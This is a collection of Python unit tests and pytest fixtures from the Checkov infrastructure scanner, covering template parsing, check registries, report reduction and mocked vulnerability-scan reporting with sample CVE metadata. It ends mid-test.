self.assertEqual(len(yaml2_resources), 4) self.validate_definition_lines(yaml2_resources["WebHostStorage"], 12, 23, 12) self.validate_definition_lines(yaml2_resources["LogsKey"], 29, 44, 16) self.validate_definition_lines(yaml2_resources["LogsKeyAlias"], 46, 50, 5) self.validate_definition_lines(yaml2_resources["DBAppInstance"], 52, 184, 133) # Asserting json file json_resources = self.definitions_context[str(self.test_root_dir / "test.json")][ TemplateSections.RESOURCES.value ] self.assertIsNotNone(json_resources) self.assertEqual(len(json_resources), 2) self.validate_definition_lines(json_resources["MySourceQueue"], 17, 22, 6) self.validate_definition_lines(json_resources["MyDB"], 23, 32, 10) def test_outputs_value(self): # Asserting test.yaml file yaml_outputs = self.definitions_context[str(self.test_root_dir / "test.yaml")][TemplateSections.OUTPUTS.value] self.assertIsNotNone(yaml_outputs) self.assertEqual(len(yaml_outputs), 1) self.validate_definition_lines(yaml_outputs["DBAppPublicDNS"], 40, 42, 3) # Asserting test2.yaml file yaml2_outputs = self.definitions_context[str(self.test_root_dir / "test2.yaml")][TemplateSections.OUTPUTS.value] self.assertIsNotNone(yaml2_outputs) self.assertEqual(len(yaml2_outputs), 5) self.validate_definition_lines(yaml2_outputs["EC2PublicDNS"], 187, 191, 5) self.validate_definition_lines(yaml2_outputs["VpcId"], 192, 195, 4) self.validate_definition_lines(yaml2_outputs["PublicSubnet"], 196, 198, 3) self.validate_definition_lines(yaml2_outputs["PublicSubnet2"], 200, 202, 3) self.validate_definition_lines(yaml2_outputs["UserName"], 204, 206, 3) # Asserting json file json_outputs = self.definitions_context[str(self.test_root_dir / "test.json")][TemplateSections.OUTPUTS.value] self.assertIsNotNone(json_outputs) self.assertEqual(len(json_outputs), 1) self.validate_definition_lines(json_outputs["DBAppPublicDNS"], 35, 38, 4) def test_skipped_check_exists(self): skipped_checks = self.definitions_context[str(self.test_root_dir / "test.yaml")][ TemplateSections.RESOURCES.value ]["MyDB"]["skipped_checks"] self.assertEqual(len(skipped_checks), 3) self.assertCountEqual( skipped_checks, [ { "id": "CKV_AWS_16", "suppress_comment": "Ensure all data stored in the RDS is securely encrypted at rest", "bc_id": "BC_AWS_GENERAL_4", "line_number": 30 }, { "id": "CKV_AWS_17", "suppress_comment": "Ensure all data stored in RDS is not publicly accessible", "bc_id": "BC_AWS_PUBLIC_2", }, { "id": "CKV_AWS_157", "suppress_comment": "Ensure that RDS instances have Multi-AZ enabled", "bc_id": "BC_AWS_GENERAL_73", }, ], ) def test_globals_absent(self): original_template = {'Resources': {}} enriched_template = enrich_resources_with_globals(original_template) self.assertEqual(enriched_template, original_template) def test_globals_no_resources(self): original_template = {'Globals': {}, 'Resources': {}} enriched_template = enrich_resources_with_globals(original_template) self.assertEqual(enriched_template, original_template) def test_globals_applicable(self): start_mark = object() # Placeholder for a real starting position in a file end_mark = object() # Placeholder for a real ending position in a file # Setting up original template with DictNode original_globals = DictNode({'Function': {'Timeout': 30}}, start_mark, end_mark) original_properties = DictNode({'MemorySize': 128}, start_mark, end_mark) original_resources = DictNode({ 'MyFunction': { 'Type': 'AWS::Serverless::Function', 'Properties': original_properties } }, start_mark, end_mark) original_template = DictNode({ 'Globals': original_globals, 'Resources': original_resources }, start_mark, end_mark) # Setting up expected template with DictNode expected_properties = pickle_deepcopy(original_properties) expected_properties['Timeout'] = 30 expected_resources = DictNode({ 'MyFunction': { 'Type': 'AWS::Serverless::Function', 'Properties': expected_properties } }, start_mark, end_mark) expected_template = DictNode({ 'Globals': original_globals, 'Resources': expected_resources }, start_mark, end_mark) # Performing the enrichment enriched_template = enrich_resources_with_globals(original_template) self.assertEqual(enriched_template, expected_template) def test_deep_merge_non_conflicting(self): # Example marks, in real cases these would be meaningful values start_mark = object() end_mark = object() dict1 = DictNode({'a': 1}, start_mark, end_mark) dict2 = DictNode({'b': 2}, start_mark, end_mark) merged_result = DictNode.deep_merge(dict1, dict2) self.assertEqual(merged_result, DictNode({'a': 1, 'b': 2}, start_mark, end_mark)) def test_deep_merge_overlapping_scalars(self): start_mark = object() end_mark = object() dict1 = DictNode({'a': 1}, start_mark, end_mark) dict2 = DictNode({'a': 2}, start_mark, end_mark) merged_result = DictNode.deep_merge(dict1, dict2) self.assertEqual(merged_result, DictNode({'a': 1}, start_mark, end_mark)) def test_deep_merge_recursive_dict_nodes(self): start_mark = object() end_mark = object() dict1_inner = DictNode({'c': 3}, start_mark, end_mark) dict1 = DictNode({'a': dict1_inner}, start_mark, end_mark) dict2_inner = DictNode({'d': 4}, start_mark, end_mark) dict2 = DictNode({'a': dict2_inner}, start_mark, end_mark) merged_result = DictNode.deep_merge(dict1, dict2) expected_result = DictNode({'a': DictNode({'c': 3, 'd': 4}, start_mark, end_mark)}, start_mark, end_mark) self.assertEqual(merged_result, expected_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/common/__init__.py ================================================ ================================================ FILE: tests/common/bridgecrew/__init__.py ================================================ ================================================ FILE: tests/common/bridgecrew/conftest.py ================================================ import pytest from checkov.common.models.enums import CheckResult from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.secrets_record import SecretsRecord from checkov.common.output.report import Report kwargs = {'validation_status': 'mock', 'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock', 'file_path': 'mock', 'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'} @pytest.fixture def report() -> Report: record_1 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_1", check_result={"result": CheckResult.FAILED}, **kwargs) record_2 = SecretsRecord(bc_check_id="VIOLATION_2", resource="RESOURCE_2", check_result={"result": CheckResult.FAILED}, **kwargs) record_3 = SecretsRecord(bc_check_id="VIOLATION_3", resource="RESOURCE_1", check_result={"result": CheckResult.PASSED}, **kwargs) record_4 = SecretsRecord(bc_check_id="VIOLATION_1", resource="RESOURCE_2", check_result={"result": CheckResult.SKIPPED}, **kwargs) report = Report(CheckType.SECRETS) report.add_record(record_1) report.add_record(record_2) report.add_record(record_3) report.add_record(record_4) return report ================================================ FILE: tests/common/bridgecrew/test_wrapper.py ================================================ def test_reduce_scan_reports_secrets(report): from checkov.common.bridgecrew.wrapper import reduce_scan_reports from checkov.common.typing import _ReducedScanReportCheck, _ReducedScanReport from checkov.common.bridgecrew.check_type import CheckType reduced_report: _ReducedScanReport = reduce_scan_reports([report])[CheckType.SECRETS] checks: _ReducedScanReportCheck = reduced_report["checks"] all_checks = checks["passed_checks"] + checks["failed_checks"] + checks["skipped_checks"] assert all('validation_status' in check.keys() for check in all_checks) def test_reduce_scan_reports(report): from checkov.common.bridgecrew.wrapper import reduce_scan_reports from checkov.common.typing import _ReducedScanReportCheck, _ReducedScanReport from checkov.common.bridgecrew.check_type import CheckType report.check_type = CheckType.GITHUB_ACTIONS reduced_report: _ReducedScanReport = reduce_scan_reports([report])[CheckType.GITHUB_ACTIONS] checks: _ReducedScanReportCheck = reduced_report["checks"] all_checks = checks["passed_checks"] + checks["failed_checks"] + checks["skipped_checks"] reduced_keys = ('check_id', 'check_result', 'resource', 'file_path', 'file_line_range') assert all(reduced_key in check.keys() for check in all_checks for reduced_key in reduced_keys) assert all('validation_status' not in check.keys() for check in all_checks) ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/__init__.py ================================================ ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/conftest.py ================================================ from typing import Dict, Any import pytest from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration @pytest.fixture() def mock_bc_integration() -> BcPlatformIntegration: bc_integration = BcPlatformIntegration() bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.bc_api_url = "https://www.bridgecrew.cloud" bc_integration.setup_bridgecrew_credentials( repo_id="bridgecrewio/checkov", skip_fixes=True, skip_download=True, source=SourceType("Github", False), source_version="1.0", repo_branch="master", bc_api_url="https://www.bridgecrew.cloud" ) return bc_integration @pytest.fixture() def package_scan_result() -> Dict[str, Any]: return { "repository": "/abs_path/to/app/requirements.txt", "passed": True, "packages": [ {"type": "python", "name": "django", "version": "1.2", "path": "/abs_path/to/app/requirements.txt"} ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": [ { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover.", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Critical severity", "Has fix", "Attack complexity: low", "Attack vector: network"], "impactedVersions": ["\u003c1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", } ], "vulnerabilityDistribution": {"critical": 1, "high": 0, "medium": 0, "low": 0, "total": 0}, } @pytest.fixture() def docker_image_scan_result() -> Dict[str, Any]: return { "results": [ { "id": "sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b", "distro": "Debian GNU/Linux 11 (bullseye)", "distroRelease": "bullseye", "collections": ["All"], "packages": [ {"type": "os", "name": "mawk", "version": "1.3.4.20200120-2", "licenses": ["GPL-2"]}, {"type": "os", "name": "gzip", "version": "1.10-4", "licenses": ["GPL-3+"]}, ], "compliances": [ { "id": 41, "title": "(CIS_Docker_v1.2.0 - 4.1) Image should be created with a non-root user", "severity": "high", "description": "It is a good practice to run the container as a non-root user, if possible. " "Though user\nnamespace mapping is now available, if a user is already defined in " "the container image, the\ncontainer is run as that user by default and specific" " user namespace remapping is not\nrequired", } ], "complianceDistribution": {"critical": 0, "high": 1, "medium": 0, "low": 0, "total": 1}, "complianceScanPassed": True, "vulnerabilities": [ { "id": "CVE-2022-23990", "status": "fixed in 2.2.10-2+deb11u1", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Expat (aka libexpat) before 2.4.4 has an integer overflow in the doProlog " "function.", "severity": "critical", "packageName": "expat", "packageVersion": "2.2.10-2", "link": "https://security-tracker.debian.org/tracker/CVE-2022-23990", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix", "Recent vulnerability", ], "impactedVersions": ["<2.2.10-2+deb11u1"], "publishedDate": "2022-01-26T21:15:00+02:00", "discoveredDate": "2022-02-13T11:57:08+02:00", "fixDate": "2022-01-26T21:15:00+02:00", }, { "id": "CVE-2022-23852", "status": "fixed in 2.2.10-2+deb11u1", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, " "for configurations with a nonzero XML_CONTEXT_BYTES.", "severity": "critical", "packageName": "expat", "packageVersion": "2.2.10-2", "link": "https://security-tracker.debian.org/tracker/CVE-2022-23852", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix", "Recent vulnerability", ], "impactedVersions": ["<2.2.10-2+deb11u1"], "publishedDate": "2022-01-24T04:15:00+02:00", "discoveredDate": "2022-02-13T11:57:08+02:00", "fixDate": "2022-01-24T04:15:00+02:00", }, ], "vulnerabilityDistribution": {"critical": 5, "high": 5, "medium": 0, "low": 14, "total": 24}, "vulnerabilityScanPassed": True, } ] } ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/integrations/__init__.py ================================================ ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/integrations/test_docker_image_scanning.py ================================================ import os from pathlib import Path from unittest import mock import pytest from aioresponses import aioresponses from pytest_mock import MockerFixture from checkov.common.bridgecrew.vulnerability_scanning.image_scanner import ImageScanner, CHECKOV_SEC_IN_WEEK from checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import ( docker_image_scanning_integration, ) def get_report_url() -> str: base_url = "https://www.bridgecrew.cloud/api/v1/vulnerabilities" return f"{base_url}/results" @pytest.mark.asyncio async def test_report_results(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app"}) # when with aioresponses() as m: m.post(report_url, status=200) result = await docker_image_scanning_integration.report_results_async( twistcli_scan_result=docker_image_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/Dockerfile"), file_content="FROM python:3.7-slim\n", docker_image_name="sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b", ) # then assert result == 0 assert next(iter(m.requests.values()))[0].kwargs["json"] == { "dockerImageName": "sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b", "dockerFilePath": "/Dockerfile", "dockerFileContent": "FROM python:3.7-slim\n", "type": "Image", "sourceId": "bridgecrewio/checkov", "branch": "master", "sourceType": "Github", "vulnerabilities": [ { "cveId": "CVE-2022-23990", "status": "fixed in 2.2.10-2+deb11u1", "severity": "critical", "packageName": "expat", "packageVersion": "2.2.10-2", "link": "https://security-tracker.debian.org/tracker/CVE-2022-23990", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Expat (aka libexpat) before 2.4.4 has an integer overflow in the doProlog function.", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix", "Recent vulnerability", ], "publishedDate": "2022-01-26T21:15:00+02:00", }, { "cveId": "CVE-2022-23852", "status": "fixed in 2.2.10-2+deb11u1", "severity": "critical", "packageName": "expat", "packageVersion": "2.2.10-2", "link": "https://security-tracker.debian.org/tracker/CVE-2022-23852", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, for configurations with a nonzero XML_CONTEXT_BYTES.", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix", "Recent vulnerability", ], "publishedDate": "2022-01-24T04:15:00+02:00", }, ], "packages": [ {"type": "os", "name": "mawk", "version": "1.3.4.20200120-2", "licenses": ["GPL-2"]}, {"type": "os", "name": "gzip", "version": "1.10-4", "licenses": ["GPL-3+"]}, ], "relatedResourceId": None, "errorLines": None } @pytest.mark.asyncio async def test_report_results_with_cicd(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() cicd_details = { "runId": 123, "pr": "patch-1", "commit": "qwerty1234", } mock_bc_integration.cicd_details = cicd_details mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app"}) # when with aioresponses() as m: m.post(report_url, status=200) result = await docker_image_scanning_integration.report_results_async( twistcli_scan_result=docker_image_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/Dockerfile"), file_content="FROM python:3.7-slim\n", docker_image_name="sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b", ) # then assert result == 0 assert next(iter(m.requests.values()))[0].kwargs["json"]["cicdDetails"] == cicd_details @pytest.mark.asyncio async def test_report_results_fail(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app", "REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) # when with aioresponses() as m: m.post(report_url, status=403, repeat=True) result = await docker_image_scanning_integration.report_results_async( twistcli_scan_result=docker_image_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/Dockerfile"), file_content="FROM python:3.7-slim\n", docker_image_name="sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b", ) # then assert result == 1 def test_should_download_new_twistcli(tmp_path: Path): # given scanner = ImageScanner() twistcli_path = tmp_path / "twistcli" scanner.twistcli_path = twistcli_path # then assert scanner.should_download() @mock.patch.dict(os.environ, {"CHECKOV_EXPIRATION_TIME_IN_SEC": str(CHECKOV_SEC_IN_WEEK)}) def test_not_should_download_twistcli(tmp_path: Path): # given scanner = ImageScanner() twistcli_path = tmp_path / "twistcli" twistcli_path.touch() scanner.twistcli_path = twistcli_path # then assert not scanner.should_download() @mock.patch.dict(os.environ, {"CHECKOV_EXPIRATION_TIME_IN_SEC": "0"}) def test_should_download_twistcli_again(tmp_path: Path): # given scanner = ImageScanner() twistcli_path = tmp_path / "twistcli" twistcli_path.touch() scanner.twistcli_path = twistcli_path # then assert scanner.should_download() def test_cleanup_twistcli_exists(tmp_path: Path): # given scanner = ImageScanner() # prepare local paths twistcli_path = tmp_path / "twistcli" twistcli_path.touch() scanner.twistcli_path = twistcli_path # when scanner.cleanup_scan() # then assert not twistcli_path.exists() def test_cleanup_twistcli_not_exists(tmp_path: Path): # given scanner = ImageScanner() # prepare local paths twistcli_path = tmp_path / "twistcli" scanner.twistcli_path = twistcli_path # when scanner.cleanup_scan() # then assert not twistcli_path.exists() ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/integrations/test_package_scanning.py ================================================ import os from pathlib import Path import pytest from aioresponses import aioresponses from pytest_mock import MockerFixture from checkov.common.bridgecrew.vulnerability_scanning.integrations.package_scanning import package_scanning_integration def get_report_url() -> str: base_url = "https://www.bridgecrew.cloud/api/v1/vulnerabilities" return f"{base_url}/results" @pytest.mark.asyncio async def test_report_results(mocker: MockerFixture, mock_bc_integration, package_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app"}) # when with aioresponses() as m: m.post(report_url, status=200) result = await package_scanning_integration.report_results_async( twistcli_scan_result=package_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/requirements.txt"), ) # then assert result == 0 assert next(iter(m.requests.values()))[0].kwargs["json"] == { "packageName": "requirements.txt", "packageFilePath": "/requirements.txt", "type": "Package", "sourceId": "bridgecrewio/checkov", "branch": "master", "sourceType": "Github", "vulnerabilities": [ { "cveId": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover.", "riskFactors": ["Critical severity", "Has fix", "Attack complexity: low", "Attack vector: network"], "publishedDate": "2019-12-18T20:15:00+01:00", }, ], "packages": [ { "type": "python", "name": "django", "version": "1.2", "licenses": [] } ] } @pytest.mark.asyncio async def test_report_results_with_cicd(mocker: MockerFixture, mock_bc_integration, package_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() cicd_details = { "runId": 123, "pr": "patch-1", "commit": "qwerty1234", } mock_bc_integration.cicd_details = cicd_details mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app"}) # when with aioresponses() as m: m.post(report_url, status=200) result = await package_scanning_integration.report_results_async( twistcli_scan_result=package_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/requirements.txt"), ) # then assert result == 0 assert next(iter(m.requests.values()))[0].kwargs["json"]["cicdDetails"] == cicd_details @pytest.mark.asyncio async def test_report_results_fail(mocker: MockerFixture, mock_bc_integration, package_scan_result): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app", "REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) # when with aioresponses() as m: m.post(report_url, status=403, repeat=True) result = await package_scanning_integration.report_results_async( twistcli_scan_result=package_scan_result, bc_platform_integration=mock_bc_integration, bc_api_key=bc_api_key, file_path=Path("app/requirements.txt"), ) # then assert result == 1 ================================================ FILE: tests/common/bridgecrew/vulnerability_scanning/test_package_scanner.py ================================================ ================================================ FILE: tests/common/check_assertion_utils.py ================================================ from __future__ import annotations import unittest from typing import Union from checkov.common.output.report import Report def checks_report_assertions(test_case: unittest.TestCase, report: Report, expected_passing_resources: set[str], expected_failing_resources: Union[set[str], dict[str, list[str]]], expected_skipped_resources: set[str] = None) -> None: """ validates: 1. summary field includes correct count of passing / failing / skipped resources 2. the resource themselves match the expected resources 3. for failing resources, there's an option to send expected as dict, in which case both the resource and the evaluated keys of that check will be validated """ if expected_skipped_resources is None: expected_skipped_resources = set() summary = report.get_summary() passed_check_resources = {c.resource for c in report.passed_checks} skipped_check_resources = {c.resource for c in report.skipped_checks} if isinstance(expected_failing_resources, dict): failed_check_resources = {c.resource: c.check_result.get("evaluated_keys") for c in report.failed_checks} else: failed_check_resources = {c.resource for c in report.failed_checks} test_case.assertEqual(summary["passed"], len(expected_passing_resources)) test_case.assertEqual(summary["failed"], len(expected_failing_resources)) test_case.assertEqual(summary["skipped"], len(expected_skipped_resources)) test_case.assertEqual(summary["parsing_errors"], 0) test_case.assertEqual(expected_passing_resources, passed_check_resources) test_case.assertEqual(expected_failing_resources, failed_check_resources) test_case.assertEqual(expected_skipped_resources, skipped_check_resources) ================================================ FILE: tests/common/checks/__init__.py ================================================ ================================================ FILE: tests/common/checks/extra_checks/S3EnvironmentCheck.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class S3EnvironmentCheck(BaseResourceCheck): def __init__(self): name = "Ensure s3 has env tag of development/staging/production" id = "CUSTOM_AWS_1" supported_resources = ['aws_s3_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("tags") and isinstance(conf['tags'][0], dict): env = conf["tags"][0].get("Environment",{}) if env in ["Development","Staging","Production"]: return CheckResult.PASSED return CheckResult.FAILED scanner = S3EnvironmentCheck() ================================================ FILE: tests/common/checks/extra_yaml_checks/test_app.yaml ================================================ metadata: name: "Ensure all resources are tagged with the relevant app" id: "CUSTOM_GRAPH_AWS_1" category: "GENERAL_SECURITY" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "all" attribute: "tags.app" operator: "exists" ================================================ FILE: tests/common/checks/test_base_check.py ================================================ import os import unittest from typing import List from unittest import mock from parameterized import parameterized from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.models.enums import CheckResult class TestCheckTypeNotInSignature(BaseCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Example check" categories = [] id = "CKV_T_1" supported_entities = ["module"] block_type = "module" super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type) # noinspection PyMethodOverriding def scan_entity_conf(self, conf, entity_type): """ My documentation :param conf: :return: """ return CheckResult.PASSED class TestCheckDetails(BaseCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self, fail_check=False): name = "Another Example check" categories = [] id = "CKV_T_2" supported_entities = ["my_resource_type"] block_type = "resource" self.fail_check = fail_check super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type) # noinspection PyMethodOverriding def scan_entity_conf(self, conf, entity_type): """ My documentation :param conf: :return: """ if self.fail_check: raise Exception("An error") if conf.get("value")[0]: self.details.append("This check PASSED...") return CheckResult.PASSED else: self.details.append("This check FAILED...") return CheckResult.FAILED def _clean_doc(st: str) -> List[str]: return [line.strip() for line in st.splitlines() if not line.isspace()] # noinspection DuplicatedCode class TestBaseCheck(unittest.TestCase): def test_entity_type_is_not_required_in_signature(self): registry = BaseCheckRegistry(report_type='') check = TestCheckTypeNotInSignature() registry.register(check) # noinspection PyArgumentList scan_result = check.scan_entity_conf({}, "Some name") self.assertEqual(CheckResult.PASSED, scan_result) self.assertEqual(_clean_doc(check.scan_entity_conf.__doc__), _clean_doc(""" My documentation :param conf: :return: """)) def test_invalid_signature_is_detected(self): with self.assertRaises(TypeError) as context: class TestCheckUnknownSignature(BaseCheck): def __init__(self): name = "Example check" categories = [] id = "CKV_T_1" supported_entities = ["module"] block_type = "module" super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type) TestCheckUnknownSignature() self.assertIsInstance(context.exception, TypeError) self.assertRegex(context.exception.args[0], r"Can't instantiate abstract class TestCheckUnknownSignature") def test_details_reinitializing_after_execution(self): check = TestCheckDetails() self.assertEqual(0, len(check.details)) result = check.run("test.tf", {"value": ["True"]}, "my_resource", "resource", {}) self.assertEqual(CheckResult.PASSED, result["result"]) self.assertEqual(1, len(check.details)) self.assertIn("This check PASSED...", check.details) result = check.run("test.tf", {"value": [""]}, "my_resource_2", "resource", {}) self.assertEqual(CheckResult.FAILED, result["result"]) self.assertEqual(1, len(check.details)) self.assertIn("This check FAILED...", check.details) @parameterized.expand([ ("WARNING",), ("ERROR",) ]) def test_check_fail_log_level_error(self, log_level): with self.assertLogs(level=log_level) as log, mock.patch.dict(os.environ, {'CHECKOV_CHECK_FAIL_LEVEL': log_level}, clear=True): check = TestCheckDetails(fail_check=True) self.assertEqual(0, len(check.details)) try: check.run("test.tf", {"value": ["True"]}, "my_resource", "resource", {}) except Exception: self.assertEqual(len(log.output), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/checks/test_base_check_registry.py ================================================ import unittest from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry class TestCheck(BaseCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self, *supported_entities, id="CKV_T_1"): name = "Example check" categories = [] supported_entities = list(supported_entities) block_type = "module" super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type) def scan_entity_conf(self, conf, entity_type): pass # noinspection DuplicatedCode class TestRunnerRegistry(unittest.TestCase): def test_add_non_wildcard(self): registry = BaseCheckRegistry('') resource_1_check = TestCheck("resource_1") registry.register(resource_1_check) checks = registry.get_checks("resource_1") self.assertEqual(1, len(checks)) self.assertEqual(resource_1_check, checks[0]) self.assertIn("resource_1", registry.checks) self.assertNotIn("resource_1", registry.wildcard_checks) def test_add_wildcard(self): registry = BaseCheckRegistry('') resource_s_check = TestCheck("resource_*") registry.register(resource_s_check) checks = registry.get_checks("resource_*") self.assertEqual(1, len(checks)) self.assertEqual(resource_s_check, checks[0]) self.assertNotIn("resource_*", registry.checks) self.assertIn("resource_*", registry.wildcard_checks) def test__is_wildcard(self): self.assertFalse(BaseCheckRegistry._is_wildcard("")) self.assertFalse(BaseCheckRegistry._is_wildcard("resource")) self.assertFalse(BaseCheckRegistry._is_wildcard("module")) self.assertFalse(BaseCheckRegistry._is_wildcard("aws_s3_bucket")) self.assertTrue(BaseCheckRegistry._is_wildcard("aws_*")) self.assertTrue(BaseCheckRegistry._is_wildcard("*")) self.assertTrue(BaseCheckRegistry._is_wildcard("aws_[^0-9]")) def test_get_check_by_id(self): registry = BaseCheckRegistry('') resource_1_check = TestCheck("resource_1", id="CKV_T_1") resource_2_check = TestCheck("resource_2", id="CKV_T_2") resource_as_check = TestCheck("resource_a*", id="CKV_T_3") resource_bs_check = TestCheck("resource_b*", id="CKV_T_4") registry.register(resource_1_check) registry.register(resource_2_check) registry.register(resource_as_check) registry.register(resource_bs_check) self.assertEqual(resource_1_check, registry.get_check_by_id("CKV_T_1")) self.assertEqual(resource_2_check, registry.get_check_by_id("CKV_T_2")) self.assertEqual(resource_as_check, registry.get_check_by_id("CKV_T_3")) self.assertEqual(resource_bs_check, registry.get_check_by_id("CKV_T_4")) self.assertIsNone(registry.get_check_by_id("CKV_T_5")) def test_get_check_no_wildcard(self): registry = BaseCheckRegistry('') resource_1_check = TestCheck("resource_1", id="CKV_T_1") resource_2_check1 = TestCheck("resource_2", id="CKV_T_2") resource_2_check2 = TestCheck("resource_2", id="CKV_T_3") registry.register(resource_1_check) registry.register(resource_2_check1) registry.register(resource_2_check2) resource_1_checks = registry.get_checks("resource_1") self.assertEqual(1, len(resource_1_checks)) self.assertEqual(resource_1_check, resource_1_checks[0]) resource_2_checks = registry.get_checks("resource_2") self.assertEqual(2, len(resource_2_checks)) self.assertIn(resource_2_check1, resource_2_checks) self.assertIn(resource_2_check2, resource_2_checks) self.assertEqual(0, len(registry.get_checks("resource"))) self.assertEqual(0, len(registry.get_checks("resource_10"))) def test_get_check_wildcard(self): registry = BaseCheckRegistry('') resource_s_check = TestCheck("resource_*", id="CKV_T_1") resource_as_check = TestCheck("resource_a*", id="CKV_T_2") s_check = TestCheck("*", id="CKV_T_3") s_2_check = TestCheck("*_2", id="CKV_T_4") registry.register(resource_s_check) registry.register(resource_as_check) registry.register(s_check) registry.register(s_2_check) resource_1_checks = registry.get_checks("resource_1") self.assertEqual(2, len(resource_1_checks)) self.assertIn(s_check, resource_1_checks) self.assertIn(resource_s_check, resource_1_checks) resource_2_checks = registry.get_checks("resource_2") self.assertEqual(3, len(resource_2_checks)) self.assertIn(s_check, resource_2_checks) self.assertIn(s_2_check, resource_2_checks) self.assertIn(resource_s_check, resource_2_checks) resource__checks = registry.get_checks("resource_") self.assertEqual(2, len(resource__checks)) self.assertIn(s_check, resource__checks) 